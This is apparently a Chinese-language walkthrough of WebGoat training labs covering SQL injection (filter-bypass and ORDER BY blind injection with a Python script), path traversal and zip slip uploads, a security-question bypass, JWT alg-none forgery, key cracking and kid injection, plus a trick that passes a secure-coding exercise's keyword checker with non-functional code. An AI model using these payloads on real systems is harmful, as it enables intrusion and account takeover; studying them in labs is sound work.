在这里插入图片描述

在这里插入图片描述

爆破出结果,还是412长度响应的

在这里插入图片描述

7    7    a    200    false    false    412    
58    10    c    200    false    false    412    
105    9    e    200    false    false    412    
108    12    e    200    false    false    412    
134    14    f    200    false    false    412    
170    2    h    200    false    false    412    
195    3    i    200    false    false    412    
197    5    i    200    false    false    412    
286    22    l    200    false    false    412    
307    19    m    200    false    false    412    
333    21    n    200    false    false    412    
351    15    o    200    false    false    412    
354    18    o    200    false    false    412    
356    20    o    200    false    false    412    
419    11    r    200    false    false    412    
424    16    r    200    false    false    412    
436    4    s    200    false    false    412    
438    6    s    200    false    false    412    
440    8    s    200    false    false    412    
457    1    t    200    false    false    412    
469    13    t    200    false    false    412    
473    17    t    200    false    false    412    
599    23    y    200    false    false    412    

payload1就是第几位,payload2就是具体的内容

最后为thisisasecretfortomonly

在这里插入图片描述

我们来看一下源码,先看注册这里

一般的注册都会操作两次数据库,第一次要查一下注册的账户是否存在

在第一次查注册账户是否存在的时候,就疏忽了没有用参数化查询,导致这里产生了sql注入

在第二步插入的时候就用的参数化,所以我们在第一步查询的时候只要让结果返回false说明没查到,第二步就直接原封不动的插入了

在这里插入图片描述

再看登录这里,参数化查询,如果输入的用户名和密码在库中查到了,并且用户名还是tom就返回success

在这里插入图片描述

Answer all questions correctly to complete the assignment

1. What is the difference between a prepared statement and a statement?
Solution 1: Prepared statements are statements with hard-coded parameters.
Solution 2: Prepared statements are not stored in the database.
Solution 3: A statement is faster.
Solution 4: A statement has got values instead of a prepared statement
首先清楚预防sql注入最佳实践就是预处理
预处理 = prepared statement = 参数化查询,原理就是先编译好sql语句,再往里填参数,这样不会影响原有sql语句的逻辑,当然也会提高效率,因为语句都是提前编译好了的
1.预处理是带有硬编码的,显然不对通过占位符,很灵活啊
2.预处理不存在数据库,怎么不存了?
3.显然是预处理略快

2. Which one of the following characters is a placeholder for variables?
Solution 1: *
Solution 2: =
Solution 3: ?
Solution 4: !
通过多次看代码也发现了,预处理的时候都是用?当的占位符

3. How can prepared statements be faster than statements?
Solution 1: They are not static so they can compile better written code than statements.
Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
Solution 3: Prepared statements are stored and wait for input it raises performance considerably.
Solution 4: Oracle optimized prepared statements. Because of the minimal use of the databases resources it is faster.
预处理怎么就比普通的处理快了
2.现在数据库编译,等待输入

4. How can a prepared statement prevent SQL-Injection?
Solution 1: Prepared statements have got an inner check to distinguish between input and logical errors.
Solution 2: Prepared statements use the placeholders to make rules what input is allowed to use.
Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
Solution 4: Prepared statements always read inputs literally and never mixes it with its SQL commands.
预处理怎么防御sql注入
3.防止用户输入附加到sql语句中

5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
Solution 1: The table Students and all of its content will be deleted.
Solution 2: The input deletes all students with the name Robert.
Solution 3: The database registers 'Robert' and deletes the table afterwards.
Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
这里要小心点,一不小心就会选成1,在注册输入框中输入:Robert); DROP TABLE Students;--,首先会注册一个Robert,然后在删除表Students,选4

在这里插入图片描述

SQL Injection (mitigation)

教我们如何预防sql注入

大概思路就是,先用正则做一些简单的过滤,再加上参数化查询,这样真的会把渗透测试人员整崩溃哦

做安全的不仅要能测试漏洞,还要帮研发去考虑修复方案,甚至是实现修复

Try it! Writing safe code

让我们用安全的方式完善下列的sql语句,一看就是让我们联系参数化查询

我们上面才看了tom登录的时候用的就是参数化查询,照葫芦画瓢

getConnection
PreparedStatement
prepareStatement
?
?
prep.setString(1,"tom");
prep.setString(2,"[email protected]");

在这里插入图片描述

看看后台代码是怎么检查的

可以看到,先定义了一个数组results是正确答案

然后将用户输入的7个参数写入UserInput数组,遍历数组挨个和正确答案比较,不过这里比较用的可是包含,也就是说用户输入的参数只要包含关键字即可,那。。。?

在这里插入图片描述

果然也行,最好还是限制一下长度吧,或者正则做做匹配

在这里插入图片描述

Try it! Writing safe code

这道题就没有上一道题那么友好了,我也是开启了Debug模式调试了几十分钟才过了这一关

这一关的目标很明确,就不是只填写几个关键字就能过关,需要我们写整段代码,当然也没那么简单,我反复调试过多次后,才发现,这里是要根据我们提交的这段代码,进行类的创建编译,并且错误的size数量要小于1也就是没有错误才能算过关(为什么我能记住size?问就是我的代码一直在报错)

在这里插入图片描述

首先我们来看源码,这个源码分三步走

1.将输入的源数据转成单行,然后分别匹配类似上一道题的那种关键字

2.将输入的源数据系统帮忙加上类头那些import等等

3.创建这个类Test.java,并且编译,如果所有关键字都匹配上,并且编译没有问题,就走到success

为了照顾大家的感受,我就直接演示调试成功的过程,刚好也学学这种代码审计引擎

答案

try {
    Connection connection = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    String query = "SELECT * FROM users WHERE name = ?";
    PreparedStatement preparedStatement = connection.prepareStatement(query);
    preparedStatement.setString(1, "weizi");
    preparedStatement.executeUpdate();
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

输入后会进入completed方法

我们输入的内容在editor变量里面,我们先把核心代码拷贝出来分析一下

            #判断的输入,如果空,就直接返回了不往下进行
            if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build();
            #做一次正则匹配+替换,如果遇到了类似html标签的<script>,就替换为空了
            editor = editor.replaceAll("\\<.*?>", "");
            
            #分别写了这六个正则的条件
            String regexSetsUpConnection = "(?=.*getConnection.*)";
            String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)";
            String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
            String regexUsesSetString = "(?=.*setString.*)";
            String regexUsesExecute = "(?=.*execute.*)";
            String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)";
            #将我们输入的内容中,回车和换行都替换为空,也就变成一行了
            String codeline = editor.replace("\n", "").replace("\r", "");
            
            #调用check_text对这一行进行上面六个正则的匹配,check_text()方法很简单,就是把正则匹配封装了一下,所以莫慌,匹配到了就返回true
            boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);
            boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);
            boolean usesSetString = this.check_text(regexUsesSetString, codeline);
            boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);
            boolean usesExecute = this.check_text(regexUsesExecute, codeline);
            boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);

            #hasImportant的值为上面六个结果的与,也就是说上面六个都是true,hasImportant才为true
            boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));

在这里插入图片描述

至此,第一阶段完事

可以看到,只要关键字写对了,满足正则了,就能通过这第一次检测

在这里插入图片描述

接下来进入第二阶段也就是从第76行开始,进入之前我们看一下图中,为什么末尾又多了\r\n这样的回车+换行?那是因为这里用的还是我们输入的源数据editor,单行的是codeline,这里不要搞混了

当然,这也暗示着,接下来要创建类+编译了,因为如果要创建类编译的话,编码格式肯定要有这些换行

在这里插入图片描述

那就进入compileFromString(),这几个函数都在这一个类里面,所以并不复杂,有耐心都可以学会

从76行,会跳到94行,可以看到从94行开始,代码变的一点都看不懂,当然我们又不是java程序员,只需要抓住核心即可editor实参现在是s形参了

也就是说s是我们输入的内容,那我们找s就好了,其他的都是系统函数,何必为难自己呢

    76行
    List<Diagnostic> hasCompiled = this.compileFromString(editor);
        
    94行
    private List<Diagnostic> compileFromString(String s) {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
        DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
        StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
        #s在这里哦这里会调用getJavaFileContentsAsString(),这个方法也在这个类里面,是从106行开始的,直接传s,过去看一下
        JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
        Iterable fileObjects = Arrays.asList(javaObjectFromString);
        JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
        Boolean result = task.call();
        List<Diagnostic> diagnostics = diagnosticsCollector.getDiagnostics();
        return diagnostics;
    }
    
    106行
    private SimpleJavaFileObject getJavaFileContentsAsString(String s) {
        #先把我们传过来的s加上import java.sql.*; public class TestClass等等,并且类属性都定义好了,main方法都写好了
        StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
        在117行再定义一个类
        JavaObjectFromString javaFileObject = null;
        try {
        #这里就更简单了把完善的内容以及类名TestClass.java传给120行JavaObjectFromString()
            javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
        } catch (Exception exception) {
            exception.printStackTrace();
        }
        return javaFileObject;
    }
    
    117行
    class JavaObjectFromString extends SimpleJavaFileObject {
        private String contents = null;

        public JavaObjectFromString(String className, String contents) throws Exception {
            #在这里将类名和类的内容创建一个对象了
            super(new URI(className), Kind.SOURCE);
            this.contents = contents;
        }

        public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
            return contents;
        }
    }

代码分析就到这一步,我们开始debug跟踪

可以看到,这里将我们输入的内容传给了getJavaFileContentsAsString()

然后加上了import等等后又传给了JavaObjectFromString(),类名就是写死的TestClass

所以我在调试的时候经常会报错类TestClass咋咋咋问题

在这里插入图片描述

进入JavaObjectFromString()就是创建了一个类

在这里插入图片描述

再回到getJavaFileContentsAsString()将这个类创建一个对象并返回

在这里插入图片描述

第二阶段结束,有没有一种身体被掏空的感觉呢

第三阶段很简单了,让我们先回到94行

    94行
    private List<Diagnostic> compileFromString(String s) {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
        DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
        StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
        #这里就是返回的TestClass.java的对象
        JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
        Iterable fileObjects = Arrays.asList(javaObjectFromString);
        JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
        Boolean result = task.call();
        #这里会获取编译过程是否有异常,如果有异常size为异常数,没有异常,size为0
        List<Diagnostic> diagnostics = diagnosticsCollector.getDiagnostics();
        return diagnostics;
    }

在这里插入图片描述

size=0说明没异常,,hasImportant为true说明关键字都批到,然后就返回success,否则都不行

在这里插入图片描述

知道了这个,我们搞一点歪门邪道,首先代码得能编译通过,其次,只要有关键字就好咯

try {
    Connection connection = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    String query = "=====????";
    String preparedStatement = "connection.prepareStatement(query)";
    String setString = "preparedStatement.setString";
    String executeUpdate = "preparedStatement.executeUpdate";
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

在这里插入图片描述

Input validation alone is not enough!!

这里演示了一个反例,只有输入的关键字校验是远远不够的,webgoat也建议我们一定要用输入关键字校验+预处理,这样才能有效防御sql注入

题目是Try It! Pulling data from other tables的加强版,我们也做过了,这里应该是对之前的进行了关键字校验,但是没有用预处理

在这里插入图片描述

先拿过来以前的payload试一试,先试一试以前的堆叠,发现空格是不允许的

1';select * from user_system_data;--+
1' union select userid, user_name, password, cookie, '5', '6', 7 from user_system_data--+

在这里插入图片描述

反手把空格换成+呢?好像还是不行

1';select+*+from+user_system_data;--+

在这里插入图片描述

就用注释进行空格绕过

1';select/**/*from/**/user_system_data;--/**/

在这里插入图片描述

那union呢?先用注释绕过空格再说,直接成了,说明这里对空格做了校验,但是黑名单,永远都有可能会疏忽

1'/**/union/**/select/**/userid,user_name,password,cookie,'5','6',7/**/from/**/user_system_data--/**/

在这里插入图片描述

只要包含空格就会返回失败

在这里插入图片描述

在这里插入图片描述

Input validation alone is not enough!!

又加强了

1';select * from user_system_data;--+
1'/**/union/**/select/**/userid,user_name,password,cookie,'5','6',7/**/from/**/user_system_data--/**/

输入原始的发现,空格或者and/or都不行,这个还提示一下

在这里插入图片描述

既然空格不行,那就先用上一题的试一试,发现报错为unexpected token: *,只要是类似这种报错,都是sql的错,也就是sql语句的语法问题

看一下下面的提示,发现把我们的select和from给吃掉了,我这里猜测代码应该是replace(“select|from”, “”)

所以我们用双写绕过

1';select/**/*from/**/user_system_data;--/**/tem_data;--+

在这里插入图片描述

union也一样

1';seselectlect/**/*frfromom/**/user_system_data;--/**/tem_data;--+
1'/**/union/**/seselectlect/**/userid,user_name,password,cookie,'5','6',7/**/ffromrom/**/user_system_data--/**/

在这里插入图片描述

在这里插入图片描述

看看代码吧,先过滤了from和select,然后再过滤空格

在这里插入图片描述

ORDER BY

webgoat为我们讲述了order by也是会产生注入的,order by后面本身跟字段名,是按这个字段排序,如果我们输入的是表达式,那么就会执行这个表达式,例如下面的标准写法,不过他好像没写end

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)

乍一看有一个输入框,不过webgoat说了,这个输入框不存在sql注入,让我们通过有order by的地方进行sql注入,查到webgoat-prd的ip,当然webgoat-prd的信息不在这四个里面,还提示了xxx.130.219.202,说明我们只需要求IP的A段即可

在这里插入图片描述

点了点右边的Edit,是个POST不过连参数都没,果断放弃

那就剩这个排序的按钮有请求,还是个get

在这里插入图片描述

在这里插入图片描述

我点的mac那一栏,就传递column=mac,那猜测sql语句大概为

select * from table order by mac

那我们输入特殊符号,看看报错,果然报错,而且还输出了sql语句

在这里插入图片描述

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by mac'

那我们直接顺水推舟,用webgoat提示的,直接返回400?

(CASE WHEN (TRUE) THEN mac ELSE hostname end)

在这里插入图片描述

URL编码试一下,依旧是按照1234排的序,那就没问题

(CASE%20WHEN%20(TRUE)%20THEN%20mac%20ELSE%20hostname%20end)

在这里插入图片描述

这里解释一下

原sql
select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by 输入的参数,输入mac就对mac排序

当输入mac的时候
select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by mac
响应返回的顺序是id=1、2、3、4

那么只要按mac排序就是1234

我们输入的是(CASE WHEN (TRUE) THEN mac ELSE hostname end)
那sql简写
select * from table order by (CASE WHEN (TRUE) THEN mac ELSE hostname end)
会执行CASE WHEN (TRUE) THEN mac ELSE hostname end
WHEN (TRUE)成立就是mac,true显然成立,所以返回的还是1234,那就说明存在sql注入并且执行了我们的poc

说白了也就是get请求

http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN (TRUE) THEN mac ELSE hostname end)

在这里插入图片描述

既然这里是可以注入的,我们就可以通过hostname为webgoat-prd作为条件来查ip,当然这里有点类似boolean盲注的感觉,显然不能直接查出来,还是通过盲注一位一位的跑

payload为,这里就把when的条件进行替换,如果查到的结果是以mac排序也就是1234,就说明when条件为true

http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((select substring(ip,3,1) from servers where hostname='webgoat-prd')>0) THEN mac ELSE hostname end)

已提示xxx.130.219.202,说明A段有3位,我们上来先判断一下ip有没有3位

发现确实是3位,从第三位截取只要取出来大于0就说明有这一位

4的时候就报错了

http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((select substring(ip,3,1) from servers where hostname='webgoat-prd')>0) THEN mac ELSE hostname end)
http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((select substring(ip,4,1) from servers where hostname='webgoat-prd')>0) THEN mac ELSE hostname end)

在这里插入图片描述

IP的特征很简单每一位都是1-254

已经判断为3位了

那就是第一位1-2,第二位0-5,第三位1-4

我们这里就先不考虑像是一些特殊地址的排除,先把功能做出来,意思明白就行,直接上python

import requests
import re

def get_ip(bit):
    for bit in range(1, bit+1):
        for comp in range(0, 5):
            url = f"http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((select substring(ip," + str(bit) + ",1) from servers where hostname='webgoat-prd')=" + str(comp) +") THEN mac ELSE hostname end)"
            rsp_content = send_get(url)

            result = get_re_result(rsp_content)
            if (result == True):
                print(f"第{bit}位是:{comp}")
                break

def get_re_result(rsp_content):
    pattern = re.compile('.*192.168.4.0.*192.168.2.1.*192.168.3.3.*192.168.6.4.*')
    str = rsp_content
    result = pattern.search(str)
    if result != None:
        return True
    else:
        return False

def send_get(url):
    headers = {
        'Cookie': 'JSESSIONID=pb8R5YGOzAgqCrHOrAC0DIEAcLu-hjrC54-Xk2TQ'
    }

    rsp = requests.get(url=url, headers=headers)
    rsp_content = rsp.content.decode('ascii').replace("\n", "").replace("\r", "")

    return rsp_content

def get_ip_digit():
    for bit in range(1, 5):

        url = f"http://localhost:18080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((select substring(ip," + str(bit) + ",1) from servers where hostname='webgoat-prd')>=0) THEN mac ELSE hostname end)"
        rsp_content = send_get(url)

        result = get_re_result(rsp_content)
        if(result != True):
            print(f"共{bit-1}位")
            return bit

if __name__ == '__main__':
    get_ip(get_ip_digit())

在这里插入图片描述

看来前三位是104,那结果就是

104.130.219.202

在这里插入图片描述

Path traversal

路径穿越是渗透时候经常用的手段,有些目录不知道绝对路径,通过这种方式可以上传我们想上传的路径下

Path traversal while uploading files

正常上传一张图片,会把图片保存在.webgoat-8.2.1-SNAPSHOT\PathTraversal\webgoat\test\

在这里插入图片描述

但是目标是让我们上传到\PathTraversal下,果断试一试

抓到请求,在filename中加了…/这种,没用

在这里插入图片描述

目光转到Full Name,这个也看看像是文件名,就改一下试试,果断成功

在这里插入图片描述

这里看看源码是怎么成功的

这里调用父类的方法,将文件内容和文件名fullname传给excute()方法

在这里插入图片描述

查看execute()方法可知,每次上传文件都要把webgoat这个目录进行删除和创建

在这里插入图片描述

可以看到最后在solvedIt()方法中,对文件目录进行判断

我们输入的是
C:\Users\779491240\.webgoat-8.2.1-SNAPSHOT\PathTraversal\webgoat\..\1.jpg
getParentFile()后变成
C:\Users\779491240\.webgoat-8.2.1-SNAPSHOT\PathTraversal
判断是以PathTraversal结尾,就会返回success

在这里插入图片描述

Path traversal while uploading files

说开发人员修复了这个漏洞,把…/进行过滤了,我们刚做完sql的绕过,这种过滤首先想到双写绕过,select可以写成sselectelect,那…/就能写成…/./

在这里插入图片描述

在这里插入图片描述

成功绕过

在这里插入图片描述

果然又是这个万恶的replace

在这里插入图片描述

Path traversal while uploading files

又一次修复了,验证了fullname的字段,我们在filename字段随便试试吧,没想到却是一把过

在这里插入图片描述

在这里插入图片描述

可以看到,这里是把filename的值传给fullname了,顶多算是以前用fullname,现在用filename,没啥两样,这个修复要把人气吐血

在这里插入图片描述

Retrieving other files with a path traversal

有两个功能,一个是随机展示一张图片,一个是提交答案

在这里插入图片描述

从随机展示图片入手,发现响应里有东西啊

在这里插入图片描述

我们加入id=2,就会返回2.jpg,那题目让我们找path-traversal-secret.jpg,直接输入不就好了

在这里插入图片描述

果然没这么简单

在这里插入图片描述

我记得在做sql注入的时候,没有做url编码,也会返回400

既然webgoat在第一页就提醒我们了,用url编码+路径穿越试试

在这里插入图片描述

提交当前用户的用户名的sha512

You found it submit the SHA-512 hash of your username as answer

我当前用户是webgoat

在这里插入图片描述

在这里插入图片描述

Zip Slip assignment

zip的上传漏洞,这道题也是有BUG的,毕竟webgoat自己在下一节也说了

在这里插入图片描述

这道题也确实做的难受,因为刚上来一下就通过

import zipfile

if __name__ == "__main__":
    zipFile = zipfile.ZipFile("slip.zip", "a", zipfile.ZIP_DEFLATED)
    zipFile.write("./dengbao.jpg", "./webgoat.jpg", zipfile.ZIP_DEFLATED)
    # zipFile.write("./dengbao.jpg", "../webgoat/dengbao.jpg", zipfile.ZIP_DEFLATED)
    zipFile.close()

刚开始就直接把图片打成zip,都没有改任何路径穿越的信息,直接一把过了,但是这个webgoat说这个题本身就有bug,那我们来看看这个bug是怎么产生的

在这里插入图片描述

我就正常上传一个把图片打成zip包的zip文件

可以看到,是在isSolved()会返回success,如何返回success

currentImage和newImage不相等会返回success

在这里插入图片描述

在这里插入图片描述

getProfilePictureAsBase64()在zip上传前和上传后,执行listFiles列出文件,结果必不一样

在这里插入图片描述

而且,还有个问题,其实我能理解这道题作者想考什么,也就是我们先把一个带有路径穿越的图片打包,然后,webgoat解压缩的时候把图片覆盖到指定目录,然后再get,能get到就算我们过关

这里也算一个问题,在前面的关卡,我们上传完图片,都会再发一个get请求,这里这个get也没有调用,也是很费解的地方

在这里插入图片描述

(A2) Broken Authentication

Authentication Bypasses

认证绕过

2FA Password Reset

这道题的背景是当我们使用双因素修改密码的时候,一般点击忘记密码,有一些我们创建账号时设置的安全问题,这些问题必须答对了,才能修改密码

我们先来看这道题,当然这道题主要是让我们绕过,所以即使输入正确的问题答案,也过不去

在这里插入图片描述

我自然不知道这两个输入框的name,所以,我们随便写发个请求看看

可以看到除了我们提交的两个参数外,系统又帮我们加了3个,一共5个

在这里插入图片描述

话不多说,先看源码

一共会经历两次判断,第一次判断verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)不能满足,否则就到了failed

第二次判断verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)要满足,才会到success

这两次判断的参数submittedAnswers键值对就是我们提交的前两个参数

在这里插入图片描述

查看第一次判断的方法,发现这两个安全问题的答案都在静态块里,每次比较如果用户数组中的键secQuestion0和secQuestion1对应的值和这个静态块里键secQuestion0和secQuestion1对应的值相同就返回true,但是返回true第一个条件就满足了返回failed,所以这里作者为了让我们走绕过这条路也是煞费苦心啊,答对了都不让过,所以填答案也没用

在这里插入图片描述

再看第二个判断,我们要返回true,那么这三个if都不能满足,第一个if判断的是size,这就要求我们必须提交两个参数,像webgoat里面说的删除secQuestion就不可取了

第二个if和第三个if就是解题关键,&&前面说只要用户提交的参数里包含secQuestion0和secQuestion1就成立,那我们不让这个成立,我们把参数名改为secQuestion0和secQuestion1以外的不就好了?但是内容里一定要有secQuestion,为什么呢?我们来键入正确答案后进入debug

在这里插入图片描述

我这里把参数改为secQuestion_first和secQuestion_second,其实无所谓的只要有secQuestion并且不是secQuestion0和secQuestion1就行

在这里插入图片描述

先进行submittedAnswers的初始化,这里会把我们post请求体的5个参数遍历,凡是参数名包含secQuestion的就作为键,然后参数值作为值返回给submittedAnswers

所以经过这一步,submittedAnswers为

secQuestion_first -> 123
secQuestion_second -> 123

在这里插入图片描述

接着把submittedAnswers作为参数传入第一个判断,还记得我们说过第一个判断我们不能满足要为true吧,这里我们提交的键本身就不包含secQuestion0和secQuestion1,所以自然为false

在这里插入图片描述

第二个判断顺理成章为true

在这里插入图片描述

第二个判断为true就会进入到success,成功通过修改参数名《=》修改键绕过问题验证

在这里插入图片描述

JWT tokens

要学一学JWT的token机制了,token和session有很大的相似之处,只是token常用作鉴权,session是保持会话

Decoding a JWT token

看了1和2,这里让把下面一段JWT的的密文进行解码,可以直接百度JWT在线解密,还是比较多的,也可以使用webwolf的功能

在这里插入图片描述

eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

解开是JSON格式的数据,输入用户名user即可过关

在这里插入图片描述

在这里插入图片描述

JWT signing

这次让我们重置投票,但是这个投票只能admin,那就是通过这三个投票的功能越权了,越权对我们来说最熟悉不过了,只是我们现在没有高权账号的信息,只能通过低权限的token看能不能生成高权限的

在这里插入图片描述

先抓取tom的token

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NjUwNDA1ODUsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.quuEUmDkuzNdWDNdsumIv9622lPgHiarIyXLg0j8ySVGo96OVd1e1N-wZzJ7IS9kJ5Kgwj1zCrC19AyF94AoSA

解码

在这里插入图片描述

修改alg为none表示不认证身份,再把admin改为true

再次生成jwt

eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2NjUwNDA1ODUsDQogICJ1c2VyIiA6ICJUb20iDQp9

在这里插入图片描述

替换token后,会报错少一个点儿.那我们就加上一个点,连接第三部分的空签名

在这里插入图片描述

eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2NjUwNDA1ODUsDQogICJ1c2VyIiA6ICJUb20iDQp9.

在这里插入图片描述

查看源码发现,这里把jwt解码后,就做了个admin的判断,也就是说header里都不用改成none

在这里插入图片描述

eyJhbGciOiJIUzUxMiJ9.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2NjUwNDA1ODUsDQogICJ1c2VyIiA6ICJUb20iDQp9.

在这里插入图片描述

Code review

给了我们一个token,思考代码的执行结果

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.

解密后为

在这里插入图片描述

alg为none,第一题使用parseClaimsJws()肯定抛异常,因为parseClaimsJws()必须解析带签名的

但是第二题不就是我们上一题的源码吗,从token中拿到的admin就是true,为啥不走第七行呢?

在这里插入图片描述

JWT cracking

爆破,使用字典爆破jwt的秘钥

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2NDE4MTYzNSwiZXhwIjoxNjY0MTgxNjk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.1SVWNDRC4aVYRHtS2O8AgJH_xl1_YIJqt_8BdntZIPM
washington

在这里插入图片描述

不过有一说一,有了秘钥的话,如果后台校验严格,结合session,越权还是有困难

改username,secret,并将时间戳范围扩大,让当前时间的时间戳大于iat,小于exp

在这里插入图片描述

在这里插入图片描述

做了一次校验

在这里插入图片描述

Refreshing a token

让我们让tom帮我们付账,其实还是在越权,点了半天就一个checkout有请求,但是也没有token让我们改啊

在这里插入图片描述

在这里插入图片描述

看到了页面上醒目的here,原来是log

在这里插入图片描述

那token不就有了吗,又是tom这个倒霉蛋

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

在这里插入图片描述

有了上一节的经验,一看时间戳不对,先把时间戳范围扩展到将来,要不过期没法用

在这里插入图片描述

替换这里,别忘了最后的点

在这里插入图片描述

Final challenge

下面你可以看到两个账户,一个是杰里,另一个是汤姆。杰瑞想从推特上删除汤姆的账户,但他的代币只能删除他的账户。你能帮他删除Toms帐户吗?

很明显还是越权,但是这道题的复杂就在于需要结合sql注入以及key,先公布答案,我们研究源码+debug

{
  "alg" : "HS256",
  "kid" : "';select 'MQ==' from jwt_keys --",
  "typ" : "JWT"
}
{
  "Email" : "[email protected]",
  "Role" : [ "Cat" ],
  "aud" : "webgoat.org",
  "exp" : 1674244665,
  "iat" : 1664244665,
  "iss" : "WebGoat Token Builder",
  "sub" : "[email protected]",
  "username" : "Tom"
}

秘钥key

1

核心代码会走到这个controller,JWTFinalEndpoint.java

    @PostMapping("/JWT/final/delete")
    public @ResponseBody
    AttackResult resetVotes(@RequestParam("token") String token) {
        if (StringUtils.isEmpty(token)) {
            return failed(this).feedback("jwt-invalid-token").build();
        } else {
            try {
                final String[] errorMessage = {null};
                Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                    @Override
                    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        final String kid = (String) header.get("kid");
                        try (var connection = dataSource.getConnection()) {
                            ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                return TextCodec.BASE64.decode(rs.getString(1));
                            }
                        } catch (SQLException e) {
                            errorMessage[0] = e.getMessage();
                        }
                        return null;
                    }
                }).parseClaimsJws(token);
                if (errorMessage[0] != null) {
                    return failed(this).output(errorMessage[0]).build();
                }
                Claims claims = (Claims) jwt.getBody();
                String username = (String) claims.get("username");
                if ("Jerry".equals(username)) {
                    return failed(this).feedback("jwt-final-jerry-account").build();
                }
                if ("Tom".equals(username)) {
                    return success(this).build();
                } else {
                    return failed(this).feedback("jwt-final-not-tom").build();
                }
            } catch (JwtException e) {
                return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
            }
        }
    }

先来看原始的token解析后的结果,需要改的就是这四个地方,kid会在后台进行sql查询获取key所以要和secret ket的值对上,怎么对上?要通过sql注入,然后就是时间戳,既然要越权,username也要改

